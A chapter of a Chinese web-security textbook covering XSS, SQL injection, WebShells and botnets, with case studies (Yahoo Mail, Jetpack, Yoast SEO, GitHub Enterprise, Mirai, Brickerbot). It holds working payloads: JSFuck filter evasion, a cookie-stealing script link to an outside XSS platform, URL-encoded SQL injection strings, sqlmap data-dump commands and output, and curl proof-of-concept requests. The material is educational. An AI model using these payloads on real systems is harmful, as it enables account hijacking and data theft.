    {"text": "4.1.2 XSS特殊攻击方式 目前已经出现了利用js的特性进行特殊编码变形绕过防御的手段，举例如下。 1.Jsfuck Jsfuck可以针对常见的js函数、语法进行编码转换： False => ![] True => !![] Undefined => [][[]] Nan => +[![]] 0 => +[] 1 => +!+[] 2 => !+[]+!+[] 10 => [+!+[]]+[+[]] Array => [] Number => +[] String => []+[] Boolean => ![] Function => [][\"filter\"] Eval => [][\"filter\"][\"constructor\"]( code )() Window => [][\"filter\"][\"constructor\"](\"return this\")() 以常见的攻击载荷alert（/1/）为例： alert(/1/) 编码后内容如图4-3所示。 图4-3 Jsfuck示例 2.Aaencode js加密工具aaencode把js转为文字表情符号。以常见的攻击载荷alert（/1/）为例： alert(/1/) 编码后内容如图4-4所示。 图4-4 aaencode示例 4.1.3 XSS平台简介 目前市面上有大量的XSS平台，自动生成js攻击载荷，大大减小了攻击难度，主要步骤如下： ·注册XSS平台账户； ·获得XSS攻击代码，主要功能是获取用户cookie、ua、ip等信息： http://webxss.top/xss/9C6YSs?1483513692 ·结合XSS漏洞构造恶意链接： http://testdomain.com/wavsep/active/Reflected-XSS/RXSS-Detection-Evaluation-GET/Case01-Tag2HtmlPageScope.jsp?userinput=<script%20src=\"http://webxss.top/xss/9C6YSs?148092496\"></script> 恶意代码将注入到回显页面中，当用户访问该页面时，恶意代码将执行，受害者在testdomain.com下的cookie将被获取，黑客随即可获得受害者在这个域下的权限，见图4-5。比较常见的做法是通过钓鱼邮件、im消息等方式诱骗受害者点击。 图4-5 XSS平台上记录获取的信息 4.1.4 近年典型XSS攻击事件分析 1.雅虎邮箱XSS漏洞 2016年雅虎邮箱（见图4-6）被报具有XSS漏洞，黑客利用该漏洞能直接把受害者的收件内容转发到外部网站，并且顺带有蠕虫扩散的功能。不过让人庆幸的是，此漏洞在互联网上还没有大面积传播之前已经被官方修复。 图4-6 雅虎邮箱 这个漏洞影响了所有版本的雅虎Web邮箱，但移动App并未受影响。据报道，雅虎邮箱是全球第二大电子邮件服务商，截止2014年2月，它已拥有3亿客户。 首先，发送一封带有所有已知HTML标签的邮件进行fuzz，看看雅虎邮箱有哪些标签没有过滤。观察雅虎邮箱的测试结果后，你会注意到，如果bool型的HTML属性赋予了值，过滤器会把它remove掉，但是等号会保留下来。 比如： <INPUT TYPE=\"checkbox\" CHECKED=\"hello\" NAME=\"check box\"> 过滤后： <INPUT TYPE=\"checkbox\" CHECKED= NAME=\"check box\"> 初看似乎没什么问题，但是Web浏览器在处理时会发生某些特别的变化。比如，在checked属性里，默认等于check，不用赋值也可以正常显示。这种行为是基于HTML规范，在不带引号的属性值里，是允许无字符或空格字符的。 这个特性可以让黑客无限制地插入带bool属性的HTML标签，比如： <img ismap='xxx' itemtype='yyy style=width:100%;height:100%;position:fixed;left:0px;top:0px; onmouseover=alert(/XSS/)//'> 雅虎邮箱过滤后： <img ismap=itemtype=yyy style=width:100%;height:100%;position:fixed;left:0px;top:0px; onmouseover=alert(/XSS/)//> 这封带POC的邮件，使整个浏览器被img标记占满整个窗口。Javascript代码的onmouseover属性值将即时执行，不会与用户进行进一步的交互。在邮件设置里禁止或允许图像，都不能阻止该攻击。 2.WordPress插件Jetpack存储型XSS漏洞 图4-7 WordPress插件Jetpack 2016年5月，WordPress母公司Automattic发布了插件Jetpack 4.0.3版本，见图4-7，在这个官方的WordPress论坛插件的版本中，修复了一个威胁程度较高的存储型XSS漏洞，小于4.0.3的版本都会被影响。 该漏洞是一个存储型XSS漏洞，攻击者可以利用漏洞在Web平台中植入恶意代码，而恶意代码会被存储于后台数据库中，随后当其他用户访问受影响页面时，便会执行攻击者植入的恶意代码，从而实现XSS攻击。 该XSS漏洞存在于插件的短代码（shortcode embeds）模块中，wordpress shortcode是指一些使用“[]”包含的短代码，例如”[vimeo123]”，而Jetpack的shortcode模块能够将[vimeo 123]替换成另外一个链接，创建了一个嵌套链接的HTML结构。wordpress会识别这些短代码并根据短代码的定义输出特定的内容，简单易用，功能强大。 在评论中输入如下载荷即会触发漏洞： <a title='[vimeo 123]'><abbr title='onmouseover=\"alert(1338);\"'>a7</a> 因为title属性右边的单引号被转义，直到遇到abbr标签的title单引号为止，从而导致了弹窗出现。在Sucuri安全团队向Jetpack的管理者报告了该漏洞不久，Jetpack 4.0.3修复版本发布，修复版本中通过避免标签属性中的短代码被解释，从而解决了该问题。 <p><a title=' <div class=\"embed-vimeo\" style=\"text-align: center;\"><iframe src=\"https://player.vimeo.com/video/123\" width=\"474\" height=\"267\" frameborder=\"0\" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe><br /> ' rel=\"nofollow\"><abbr title=' onmouseover=\"alert(1338);\"'>a7</abbr></a></p>"},
    {"text": "4.2 SQL注入概述 所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将SQL命令注入到后台数据库引擎执行的能力，比如先前的很多影视网站泄露VIP会员密码大多就是通过Web表单递交查询字符曝出的，这类表单特别容易受到SQL注入攻击。对照OWASP 2013报告，在最新发布的OWASP 2017报告中，SQL注入依然是排名第一的Web威胁（见图4-8）。 图4-8 OWASP 2017 TOP10网站威胁 当应用程序直接使用输入内容来构造动态SQL语句以访问数据库时，会发生SQL注入攻击。如果代码使用存储过程，而这些存储过程作为包含未筛选的用户输入的字符串来传递，也会发生SQL注入。SQL注入可能导致攻击者使用应用程序登录并在数据库中执行命令。相关的SQL注入可以通过测试工具sqlmap进行。如果应用程序使用特权过高的帐户连接到数据库，这种问题会变得很严重。在某些表单中，用户输入的内容直接用来构造动态SQL命令，或者作为存储过程的输入参数，这些表单特别容易受到SQL注入攻击。而许多网站程序在编写时，没有对用户输入的合法性进行判断或者程序中本身的变量处理不当，使应用程序存在安全隐患。这样，用户就可以提交一段数据库查询的代码，根据程序返回的结果，获得一些敏感的信息或者控制整个服务器，于是SQL注入就发生了。 SQL注入虽然是个古老的攻击方式，但是直到现在依然是互联网安全的一大威胁，由SQL注入导致的拖库、远程控制依然困扰着各大互联网公司，如图4-9所示。 图4-9 乌云2016年SQL注入漏洞列表举例 4.2.1 常见SQL注入攻击 1.强制产生错误 对数据库类型、版本等信息进行识别是此类型攻击的动机所在。它的目的是收集数据库的类型、结构等信息为其他类型的攻击做准备，可谓是攻击的一个预备步骤。利用应用程序服务器返回的默认错误信息而取得漏洞信息。 2.采用非主流通道技术 除HTTP响应外，还能通过通道获取数据，然而，通道大多依赖于数据库支持的功能而存在，所以这项技术不完全适用于所有的数据库平台。SQL注入的非主流通道主要有E-mail、DNS以及数据库连接，基本思想为：先对SQL查询打包，然后借助非主流通道将信息反馈至攻击者。 3.使用特殊的字符 不同的SQL数据库有许多不同的特殊字符和变量，通过某些配置不安全或过滤不细致的应用系统能够取得某些有用的信息，从而对进一步攻击提供方向。 4.使用条件语句 此方式具体可分为基于内容、基于时间、基于错误3种形式。一般在经过常规访问后加上条件语句，根据信息反馈来判定被攻击的目标。 5.利用存储过程 通过某些标准存储过程，数据库厂商在对数据库的功能进行扩展的同时，操作系统也可与数据库进行交互。部分存储过程可以让用户自行定义。通过其他类型的攻击收集数据库的类型、结构等信息之后，便能够构建执行存储过程的命令。这种攻击类型往往能达到远程命令执行、特权扩张、拒绝服务等目的。 6.避开输入过滤技术 虽然对于通常的编码都可利用某些过滤技术进行SQL注入防范，但是此种情况下，也有许多方法可以避开过滤。一般可达到此目的的技术手段包括：SQL注释和动态查询的使用，利用截断，URL编码与空字节的使用，大小写变种的使用，以及嵌套剥离后的表达式等等。借助这些手段，输入构思后的查询可以避开输入过滤技术，从而使攻击者获得想要的查询结果。 7.推断技术 该技术能够明确数据库模式、提取数据以及识别可注入参数。此种方式的攻击通过网站，对用户输入的反馈信息、可注入参数、数据库模式等进行推断。这种攻击构造的查询，执行后获得的答案只有真、假两种。基于推断的注入方式主要分为时间测定注入与盲注入两种。时间测定注入是在注入语句里加入诸如“waitfor 100”的语句，按照此查询结果出现的时间，对注入能否成功和数据值范围的推导进行判定；盲注入主要包括“and l=l”、“and l=2”两种经典注入方法。这些方式均是对一些间接关联且能取得回应的问题进行提问，进而通过响应信息推断出想要的信息，然后进行攻击。"},
    {"text": "4.2.2 常见SQL注入攻击载荷 常见SQL注入攻击载荷如下： /wp-login.php?action=lostpassword%25%27%20ORDER%20BY%201%23 /wp-content/themes/begin/timthumb.php?src=http%3A%2F%2Fwww.lawqt.com%2Fwp-conten t%2Fuploads%2F2017%2F03%2F12.png&w=-9611%22%20UNION%20ALL%20SELECT%208303%2C%208 303%2C%208303%2C%208303%2C%208303%2C%208303%2C%208303%2C%208303--%20&h=210&zc=1 /newmessage.php?tosys=1&title=1%22%20AND%20UPDATEXML%283114%2CCONCAT%280x2e%2C0x 3a6e676f3a%2C%28SELECT%20%28CASE%20WHEN%20%283114%3D3114%29%20THEN%201%20ELSE%20 0%20END%29%29%2C0x3a7262793a%29%2C6430%29%20%20AND%20%22Enli%22%3D%22Enli /wp-login.php?action=lostpassword%25%27%29%20LIMIT%201%2C1%20UNION%20ALL%20SELEC T%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2 C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%23 /wp-content/themes/begin/timthumb.php?src=http%3A%2F%2Fwww.lawqt.com%2Fwp-conten t%2Fuploads%2F2017%2F03%2F12.png&w=-2372%22%20UNION%20ALL%20SELECT%202985%2C%202 985%2C%202985%2C%202985%2C%202985%2C%202985%2C%202985%2C%202985%2C%202985%2C%202 985%2C%202985--%20&h=210&zc=1 /wp-login.php?action=lostpassword%25%27%29%20LIMIT%201%2C1%20UNION%20ALL%20SELEC T%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2 C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%23"},
    {"text": "4.2.3 SQL常见工具 1.sqlmap sqlmap是一款用来检测与利用SQL注入漏洞的免费开源工具，它有一个非常棒的特性，即对检测与利用的自动化处理（数据库指纹、访问底层文件系统、执行命令）。"},
    {"text": "图4-10 sqlmap界面图 也可以使用git来获取： git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap常见命令： sqlmap -u \"http://url/news?Id=1\" –dbms \"mysql\" –users # dbms 指定数据库类型 sqlmap -u \"http://url/news?Id=1\" –users #列数据库用户 sqlmap -u \"http://url/news?Id=1\" –dbs#列数据库 sqlmap -u \"http://url/news?Id=1\" –passwords #数据库用户密码 sqlmap -u \"http://url/news?Id=1\" –passwords-u root -v 0 #列出指定用户数据库密码 sqlmap -u \"http://url/news?Id=1\" –dump -c \"password,user,id\" -t \"tablename\"-d \"db_name\"–start 1 –stop 20 #列出指定字段，列出20 条 Sqlmap -u \"http://url/news?Id=1\" –dump-all -v 0 #列出所有数据库所有表 sqlmap -u \"http://url/news?Id=1\" –privileges #查看权限 sqlmap -u \"http://url/news?Id=1\" –privileges -u root #查看指定用户权限 sqlmap -u \"http://url/news?Id=1\" –is-dba -v 1 #是否是数据库管理员 sqlmap -u \"http://url/news?Id=1\" –roles #枚举数据库用户角色 sqlmap -u \"http://url/news?Id=1\" –udf-inject #导入用户自定义函数（获取 系统权限！ ） Sqlmap -u \"http://url/news?Id=1\" –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表 sqlmap -u \"http://url/news?Id=1\" –union-cols #union 查询表记录 sqlmap -u \"http://url/news?Id=1\" –cookie \"cookie_value\"#cookie注入 sqlmap -u \"http://url/news?Id=1\" -b #获取banner信息 sqlmap -u \"http://url/news?Id=1\" –data \"id=3″#post注入 sqlmap -u \"http://url/news?Id=1\" -v 1 -f #指纹判别数据库类型 以WAVSEP靶场为例演示sqlmap强大功能。"},
    {"text": "存在SQL注入漏洞的链接为： http://182.61.11.23:8080/wavsep/active/SInjection-Detection-Evaluation-GET-500Error/Case01-InjectionInLogin-String-LoginBypass-WithErrors.jsp?username=textvalue&password=textvalue2 其中注入点是username字段。 ·获取数据库类型： ./sqlmap.py -u \"http://182.61.11.23:8080/wavsep/active/SInjection-Detection-Evaluation-GET-500Error/Case01-InjectionInLogin-String-LoginBypass-WithErrors.jsp?username=textvalue&password=textvalue2\" -p username 返回结果： [10:45:03] [INFO] the back-end DBMS is MySQL web application technology: JSP back-end DBMS: MySQL >= 5.0 [10:45:03] [INFO] fetched data logged to text files under '/Users/liu.yan/.sqlmap/output/182.61.11.23' ·获取数据库用户列表： ./sqlmap.py -u \"http://182.61.11.23:8080/wavsep/active/SInjection-Detection-Evaluation-GET-500Error/Case01-InjectionInLogin-String-LoginBypass-WithErrors.jsp?username=textvalue&password=textvalue2\" -p username --users 返回结果： database management system users [1]: [*] 'wavsep'@'localhost' [10:51:26] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 4 times [10:51:26] [INFO] fetched data logged to text files under '/Users/liu.yan/.sqlmap/output/182.61.11.23' [*] shutting down at 10:51:26 ·获取数据库列表： ./sqlmap.py -u \"http://182.61.11.23:8080/wavsep/active/SInjection-Detection-Evaluation-GET-500Error/Case01-InjectionInLogin-String-LoginBypass-WithErrors.jsp?username=textvalue&password=textvalue2\" -p username --dbs 返回结果： [10:54:51] [INFO] fetching database names [10:54:52] [INFO] the SQL query used returns 2 entries [10:54:52] [INFO] retrieved: information_schema [10:54:52] [INFO] retrieved: wavsepDB available databases [2]: [*] information_schema [*] wavsepDB ·获取指定数据库指定表的全部数据： ./sqlmap.py -u \"http://182.61.11.23:8080/wavsep/active/SInjection-Detection-Evaluation-GET-500Error/Case01-InjectionInLogin-String-LoginBypass-WithErrors.jsp?username=textvalue&password=textvalue2\" -p username -D wavsepDB -T users --dump 返回结果： Database: wavsepDB Table: users [7 entries] +--------+----------+------------+-----------+ | userid | username | password | privilege | +--------+----------+------------+-----------+ | 1 | user1 | password | 1 | | 2 | david | goodboy | 1 | | 3 | admin | mastermold | 5 | | 4 | user4 | password4 | 1 | | 5 | user5 | password5 | 2 | | 6 | user6 | password6 | 1 | | 7 | user7 | password7 | 1 | +--------+----------+------------+-----------+ [11:10:05] [INFO] table 'wavsepDB.users' dumped to CSV file '/Users/liu.yan/.sqlmap/output/182.61.11.23/dump/wavsepDB/users.csv' [11:10:05] [INFO] fetched data logged to text files under '/Users/liu.yan/.sqlmap/output/182.61.11.23' [*] shutting down at 11:10:05 ·获取指定数据库的全部数据： ./sqlmap.py -u \"http://182.61.11.23:8080/wavsep/active/SInjection-Detection-Evaluation-GET-500Error/Case01-InjectionInLogin-String-LoginBypass-WithErrors.jsp?username=textvalue&password=textvalue2\" -p username -D wavsepDB --dump-all -v 0 返回结果： [11:05:30] [INFO] resumed: 8 Database: wavsepDB Table: transactions [8 entries] +--------+---------------+-------+-----------------------+-----------------+ | userid | transactionId | sum | description | transactionDate | +--------+---------------+-------+-----------------------+-----------------+ | 1 | 132 | 1000 | Simple Transaction | 2010-01-01 | | 2 | 133 | 1200 | Simple Transaction | 2010-01-01 | | 3 | 135 | 3000 | Simple Transaction | 2010-01-01 | | 4 | 223 | 4000 | Simple Transaction | 2010-01-01 | | 5 | 423 | 5000 | Simple Transaction | 2010-01-01 | | 6 | 456 | 6000 | Simple Transaction | 2010-01-01 | | 7 | 789 | 7012 | Expensive Transaction | 2010-01-01 | | 8 | 895 | 8000 | Expensive Transaction | 2010-02-02 | +--------+---------------+-------+-----------------------+-----------------+ [*] shutting down at 11:05:30 2.HAVIJ HAVIJ是一款自动化的SQL注入工具，其界面见图4-11，它能够帮助渗透测试人员发现和利用Web应用程序的SQL注入漏洞。"},
    {"text": "·MSSQL 2000/2005 no-error union-based； ·MSSQL blind； ·MSSQL time-based； ·MySQL union-based； ·MySQL blind； ·MySQL error-based； ·MySQL time-based； ·Oracle union-based； ·Oracle error-based； ·Oracle blind； ·PostgreSQL union-based； ·MS Access union-based； ·MS Access blind； ·Sybase（ASE）； ·Sybase（ASE）Blind。"},
    {"text": "4.2.4 近年典型SQL注入事件分析 1.wordpress SEO插件曝出危SQL注入漏洞 2015年，全球最流行的CMS应用wordpress插件（见图4-12）wordpress SEO by Yoast曝出高危SQL注入漏洞，该插件使用频率相当高，用户高达上千万。wordpress SEO by Yoast插件是wordpress平台下非常流行的SEO插件，在Yoast网站上拥有1400万次的下载量。该漏洞是wordpress漏洞扫描器“WPScan”开发者Ryan Dewhurst发现的——1.7.3.3之前版本的wordpress SEO by Yoast都会受到SQL盲注Web应用程序漏洞的影响。SQL注入漏洞之所以被标记为高危漏洞，是因为它可能会导致大量数据和敏感信息泄露。通常，在SQL注入攻击中，攻击者会通过客户端在应用程序中输入一个畸形的SQL请求。 图4-12 wordpress插件SEO 该漏洞仅影响wordpress内部用户，因为该漏洞存在于admin/class-bulk-editor-list-table.php文件中，而此文件只有wordpress管理员、编辑和特权作者才能访问。为了成功利用这一漏洞，攻击者需要从授权用户（管理员、编辑、作者）处着手。当然授权用户是不会乖乖帮你攻击东家的，这就需要社会工程学的帮助了，攻击者可以欺骗用户进入一个精心编写的URL中，如果授权用户成为了此次攻击的受害者，那么攻击者就可利用此漏洞在受害者的wordpress网站上执行任意SQL请求。 Ryan提供了一个SQL盲注漏洞的poc： http://victim-wordpress-website.com/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date%2c(select%20*%20from%20(select(sleep(10)))a)&order=asc 2.GitHub企业版SQL注入漏洞 2017年GitHub企业版（见图4-13）被曝出具有SQL注入漏洞。这个SQL注入漏洞存在于GitHub企业版程序的PreReceiveHookTarget模块中，其根本原因在于/data/GitHub/current/app/model/pre_receive_hook_target.rb文件的第45行： 图4-13 github图片 scope :sorted_by, -> (order, direction = nil) { direction = \"DESC\" == \"#{direction}\".upcase ? \"DESC\" : \"ASC\" select(<<-SQL) #{table_name}.*, CASE hookable_type WHEN 'global' THEN 0 WHEN 'User' THEN 1 WHEN 'Repository' THEN 2 END AS priority SQL .joins(\"JOIN pre_receive_hooks hook ON hook_id = hook.id\") .readonly(false) .order([order, direction].join(\" \")) } 虽然Rails中内置的对象关系映射ActiveRecord in Rails本身不允许SQL注入操作，但一些ActiveRecord的误用实例同样会引起SQL注入。在该漏洞情况中，我们可以控制order方法的参数实现恶意代码注入。跟踪观察发现，服务sorted_by被data/GitHub/current/app/api/org_pre_receive_hooks.rb文件的第61行调用： get \"/organizations/:organization_id/pre-receive-hooks\" do control_access :list_org_pre_receive_hooks, rg => org = find_org! @documentation_url << \"#list-pre-receive-hooks\" targets = PreReceiveHookTarget.visible_for_hookable(org) targets = sort(targets).paginate(pagination) github::PrefillAssociations.for_pre_receive_hook_targets targets deliver :pre_receive_org_target_hash, targets end def sort(scope) scope.sorted_by(\"hook.#{params[:sort] || \"id\"}\", params[:direction] || \"asc\") end 可以清楚地看到params[：sort]被传递给了scope.sorted_by，所以我们可以尝试着向params[：sort]注入恶意代码。在触发该漏洞之前，接入API需要admin：pre_receive_hook函数具备一个有效的access_token值，我们可以通过以下命令来获取： $ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \\ -d '{\"scopes\":\"admin:pre_receive_hook\",\"note\":\"x\"}' { \"id\": 4, \"url\": \"https://192.168.187.145/api/v3/authorizations/4\", \"app\": { \"name\": \"x\", \"url\": \"https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/\", \"client_id\": \"00000000000000000000\" }, \"token\": \"????????\", \"hashed_token\": \"1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4\", \"token_last_eight\": \"1fadac36\", \"note\": \"x\", \"note_url\": null, \"created_at\": \"2017-01-05T22:17:32Z\", \"updated_at\": \"2017-01-05T22:17:32Z\", \"scopes\": [ \"admin:pre_receive_hook\" ], \"fingerprint\": null } 一旦获取到有效的access_token值之后，漏洞就会被触发： $ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \\ 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)' [ ] $ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \\ 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)' { \"message\": \"Server Error\", \"documentation_url\": \"https://developer.github.com/enterprise/2.8/v3/orgs/pre _receive_hooks\" } $ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \\ 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()=\"github@localhost\",sleep(5),user()) { }"},
    {"text": "4.3 WebShell概述 WebShell就是以ASP、PHP、JSP或者CGI等网页文件形式存在的一种命令执行环境，也可以将其称为一种网页后门。黑客在入侵了一个网站后，通常会将ASP或PHP后门文件与网站服务器Web目录下正常的网页文件混在一起，然后就可以使用浏览器来访问ASP或者PHP后门，得到一个命令执行环境，从而达到控制网站服务器的目的。 顾名思义，“Web”的含义显然是需要服务器开放Web服务，“shell”的含义是取得对服务器某种程度上的操作权限。由于WebShell大多是以动态脚本的形式出现，也有人称之为“网站的后门工具”。2016年乌云列出的WebShell事件如图4-14所示。 图4-14 2016乌云WebShell事件 黑客通过WebShell可以达到长期控制被害服务器的目的，并且可以通过WebShell进一步渗透。 图4-15 KILLCHAIN 在KILLCHAIN模型中（见图4-15），WebShell属于command&control环节，换句话说一旦系统被安装WebShell并能执行，说明系统已经沦陷，属于高危安全事件。 4.3.1 WebShell功能 简单总结一下，WebShell通常具备以下功能（见图4-16）： ·环境探针； ·资源管理； ·文件编辑； ·执行OS命令； ·读取注册表； ·创建Socket； ·调用系统组件。 4.4 僵尸网络概述 僵尸网络 （Botnet）是指采用一种或多种传播手段，使大量主机感染bot程序（僵尸程序）病毒，从而在控制者和被感染主机之间所形成的一个可一对多控制的网络，见图4-17。攻击者通过各种途径传播僵尸程序感染互联网上的大量主机，而被感染的主机通过一个控制信道接收攻击者的指令，组成一个僵尸网络。之所以用僵尸网络这个名字，是为了更形象地让人们认识到这类危害的特点：众多的计算机在不知不觉中如同中国古老传说中的僵尸群一样被人驱赶和指挥着，成为被人利用的一种工具。 图4-17 僵尸网络 僵尸网络是互联网上受到黑客集中控制的一群计算机，往往被黑客用来发起大规模的网络攻击，如分布式拒绝服务攻击（DDoS）、海量垃圾邮件等，同时黑客控制的这些计算机所保存的信息，譬如银行帐户的密码与社会安全号码等也都可被黑客随意“取用”。因此，不论是对网络安全运行还是对用户数据安全的保护来说，僵尸网络都是极具威胁的隐患。僵尸网络的威胁也因此成为目前国际上十分关注的一个问题。然而，发现一个僵尸网络是非常困难的，因为黑客通常远程、隐蔽地控制分散在网络上的“僵尸主机”，这些主机的用户往往并不知情。因此，僵尸网络是目前互联网上黑客最青睐的作案工具。 对网友而言，感染上“僵尸病毒”却十分容易。网络上搔首弄姿的美女、各种各样有趣的小游戏，都在吸引着网友轻轻点击鼠标。但事实上，点击之后毫无动静，原来一切只是骗局，意在诱惑网友下载有问题的软件。一旦这种有毒的软件进入到网友电脑，远端主机就可以发号施令，对电脑进行操控。下载时只用一种杀毒软件查不出来。 专家表示，每周平均新增数十万台任人遥控的僵尸电脑，任凭远端主机指挥，进行各种不法活动。多数时候，僵尸电脑的主人根本不晓得自己已被选中，任人摆布。 僵尸网络之所以出现，在家高速上网越来越普遍也是原因之一。高速上网可以处理（或制造）更多的流量，但高速上网家庭习惯将电脑长时间开机，唯有电脑开机，远端主机才可以对僵尸电脑发号施令。 网络专家称：“重要的硬件设施虽然非常重视杀毒、防黑客，但网络真正的安全漏洞往往来自于用户，这些个体用户缺乏自我保护的知识，让网络充满地雷，进而对其他用户构成威胁。” 4.4.1 僵尸网络的危害 1.拒绝服务攻击 使用Botnet发动DDoS攻击是当前最主要的威胁之一，攻击者可以向自己控制的所有bot发送指令，让它们在特定的时间同时开始连续访问特定的网络目标，从而达到DDos的目的。由于Botnet可以形成庞大规模，而且利用其进行DDos攻击可以更好地同步，所以在发布控制指令时，能够使DDos的危害更大，防范更难。 2.发送垃圾邮件 一些bot会设立sockv4、v5代理，这样就可以利用Botnet发送大量的垃圾邮件，而且发送者可以很好地隐藏自身的IP信息。 3.窃取秘密 Botnet的控制者可以从僵尸主机中窃取用户的各种敏感信息和其他秘密，例如个人账号、机密数据等。同时bot程序能够使用sniffer观测感兴趣的网络数据，从而获得网络流量中的秘密。 4.滥用资源 攻击者利用Botnet从事各种需要耗费网络资源的活动，从而使用户的网络性能受到影响，甚至带来经济损失。例如：种植广告软件，点击指定的网站；利用僵尸主机的资源存储大型数据和违法数据等，利用僵尸主机搭建假冒的银行网站从事网络钓鱼的非法活动。 可以看出，Botnet无论是对整个网络还是对用户自身，都造成了比较严重的危害，我们要采取有效的方法减少Botnet的危害。 5.僵尸网络挖矿 网络安全商fortiguard labs的网络安全研究报告指出，虚拟货币的僵尸挖矿ZeroAccess已经成为全球网络当下的主要威胁。ZeroAccess的主要攻击手段是click fraud和virtual mining，通过控制大量僵尸主机进行挖矿活动，近期由于比特币等虚拟货币的价值飙升，ZeroAccess的获利可能超乎想象。"},
    {"text": "4.4.2 近年典型僵尸网络攻击事件分析 1.Mirai僵尸网络 2016年，美国域名解析服务提供商Dyn公司遭到了峰值达1.1Tbps的DDoS攻击，造成了美国东部大面积的网络瘫痪，包括Twitter、Facebook在内的多家美国网站无法通过域名访问。而造成半个美国互联网瘫痪的罪魁祸首，则是Mirai僵尸网络控制下的数以10万计的物联网设备。Mirai恶意程序通过扫描物联网设备，尝试默认通用密码进行登录操作，一旦成功即将这台物联网设备作为“肉鸡”纳入僵尸网络中，进而操控其攻击其他网络设备。 同年，德国电信也遭遇了一次大范围的网络故障。在这次故障中，2000万固定网络用户中的大约90万个路由器发生故障（约4.5%），并由此导致大面积网络访问受限。很多媒体给出了网络受限的示意图，如图4-18所示。 图4-18 德国电信遭遇Mirai攻击 德国电信进一步确认了问题是由于路由设备的维护界面被暴露在互联网上，并且互联网上正在发生针对性的攻击而导致。德国电信连夜与设备供应商生成了新的升级包，并且要求客户如果怀疑受到影响就断电重启路由器，之后利用自动/手动的升级过程来解决问题。德国电信还采取了一系列的过滤措施来保证升级过程不受攻击影响。 2.Leet僵尸网络 IMPERVA最新的《全球DDoS威胁态势季度报告》中披露，随着网络层攻击规模的加大，应用层安全事件发生频率也上升了。2016年第4季度IMPERVA缓解的最大型DDoS攻击，规模为650Gbps（见图4-19），是依托Leet僵尸网络发起的（之前的第3季度中，阿卡迈处理了类似的攻击，是Mirai僵尸网络驱动的）。2016年最后3个月还见证了该年度最持久的网络层攻击——持续了29天。 图4-19 Leet僵尸网络发起的DDoS攻击 3.Amnesia僵尸网络 Amnesia僵尸网络利用了未修补的远程代码执行漏洞，这个漏洞一年多之前由安全研究员Rotem Kerner发现。Amnesia僵尸网络目标是嵌入式系统，尤其是中国的某厂商生产的DVR（数字视频录像机），目前，该公司名下有70多个品牌的产品销往世界各地。 2016年3月，Kerner将其发现的漏洞上报了DVR厂商，但是未得到任何回应，一年后，他决定公布漏洞细节。 根据Palo Alto Networks（PAN）研究人员的相关分析，Amnesia是Tsunami僵尸网络的变种，Tsunami作为一种下载程序/IRC僵尸程序后门，被网络犯罪分子利用来发动DDoS攻击。 根据PAN的网络扫描结果，上述漏洞仍未修补，全球大约有22.7万DVR设备受此漏洞影响（见图4-20）。 图4-20 Amnesia僵尸网络 Amnesia僵尸网络利用的是远程代码执行漏洞，攻击者可利用该漏洞完全控制设备。 专家认为，由于采用逃避技术，Amnesia僵尸网络极为复杂。恶意软件研究人员认为Amnesia僵尸网络是第一款采用虚拟机逃避技术来逃避恶意软件分析沙箱的Linux物联网恶意软件。 4.Brickerbot僵尸网络 2017年，Radware研究人员发现了一种新的僵尸网络。这种僵尸网络和Mirai僵尸网络有诸多相似之处，被命名为Brickerbot。Mirai僵尸网络和Brickerbot的主要区别在于，后者的恶意软件可对配置不当的物联网设备造成永久性破坏。Radware公司为进行恶意软件分析而部署了蜜罐，Brickerbot对其发起攻击，进而被发现。通过部署有针对性的蜜罐服务器发现检测到来自全球1895个IP的BrickerBot攻击尝试（见图4-21），而且还发现了333次通过Tor的网络攻击尝试。 Brickerbot僵尸网络通过Telnet暴力攻击物联网设备。Mirai僵尸网络也曾采用此技术。Bricker很难分析，因为它并不下载二进制，这意味着Radware专家无法检索恶意软件暴力使用的完整凭据清单。恶意软件研究人员只能观察到第一次登录的用户名/密码是root/vizxv。专家解释说，恶意软件针对的是运行在BusyBox上、基于Linux的物联网设备。这些设备Telnet端口都是开放的，并且暴露在互联网上。DDoS攻击源于有限数量的IP地址。被攻击设备都是端口为22和运行老版本Dropbear SSH服务的设备。大部分被僵尸网络攻击的设备被Shodan识别为Ubiquiti。恶意代码首先获得对设备的访问，然后通过rm–rf/*命令擦除设备内存，禁用TCP时间戳，并将内核线程的最大数量限制为一个。 Brickerbot恶意软件刷新所有iptables防火墙和NAT规则（见图4-22），并添加一条规则来删除所有传出的数据包。Brickerbot试图擦除受影响物联网设备上的所有代码，使其不可用。 图4-21 Brickerbot僵尸网络 图4-22 Brickerbot恶意软件刷新所有iptables防火墙和NAT规则 4.5 本章小结 本章概述了Web安全中常见的XSS、SQL注入、WebShell以及僵尸网络，梳理了其相关的概念、危害、常见攻击特征以及近年相关安全事件，相信仔细看过的读者已经达到了温故而知新的效果了，后面章节我们将开启机器学习的算法之旅。"},
